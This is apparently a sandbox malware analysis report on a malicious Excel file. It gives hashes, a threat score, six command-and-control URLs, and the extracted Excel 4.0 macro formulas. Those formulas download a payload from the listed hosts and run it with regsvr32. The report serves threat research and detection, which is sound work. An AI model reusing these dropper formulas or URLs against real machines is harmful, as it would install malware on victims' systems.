General

  • Target

    865a77019eb39474518493a2d0f8499d33cbbdcac68a958f29d0f46b6e041eb4

  • Size

    40KB

  • Sample

    241121-a155ms1phk

  • MD5

    2be5f58cc856cdd101e6c5fa24543a1d

  • SHA1

    762a17da15560c510715f5a956fe8118402e927d

  • SHA256

    865a77019eb39474518493a2d0f8499d33cbbdcac68a958f29d0f46b6e041eb4

  • SHA512

    03da13aa228cc98596cbf5bb50824adc405de503e9b9d2bb80f7baa60c78d961037176fd4838041bd98dc04bf951410f62bbabe0c461e72dcfc06f83a7f339ed

  • SSDEEP

    768:itby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:abunC5iymqylND59V4jwmXc2Xy3

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

http://en.pachammer.com/wp-content/vIG/

http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/

http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/

http://www.aacitygroup.com/wp-content/EkY9/

https://theoutsourcedaccountant.com/images/nFikTQmP/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/","..\xda.ocx",0,0) =IF('EFEGVE'!F12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://en.pachammer.com/wp-content/vIG/","..\xda.ocx",0,0)) =IF('EFEGVE'!F14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsjalkherabsr.com/oz03n/6XeYLjFXcFE/","..\xda.ocx",0,0)) =IF('EFEGVE'!F16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ghsmadonabsr.com/wp-includes/Of4kQNCp2WLy0F4B/","..\xda.ocx",0,0)) =IF('EFEGVE'!F18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.aacitygroup.com/wp-content/EkY9/","..\xda.ocx",0,0)) =IF('EFEGVE'!F20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://theoutsourcedaccountant.com/images/nFikTQmP/","..\xda.ocx",0,0)) =IF('EFEGVE'!F22<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xda.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://foroviviendaparaguay.com/wp-admin/hx8U6XMffnkv8HI2Oig/

Targets

    • Target

      865a77019eb39474518493a2d0f8499d33cbbdcac68a958f29d0f46b6e041eb4

    • Size

      40KB

    • MD5

      2be5f58cc856cdd101e6c5fa24543a1d

    • SHA1

      762a17da15560c510715f5a956fe8118402e927d

    • SHA256

      865a77019eb39474518493a2d0f8499d33cbbdcac68a958f29d0f46b6e041eb4

    • SHA512

      03da13aa228cc98596cbf5bb50824adc405de503e9b9d2bb80f7baa60c78d961037176fd4838041bd98dc04bf951410f62bbabe0c461e72dcfc06f83a7f339ed

    • SSDEEP

      768:itby3nCsqi1O3mnOzyKfcrND59V+L9Rw4eWrXcTqy0y3:abunC5iymqylND59V4jwmXc2Xy3

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks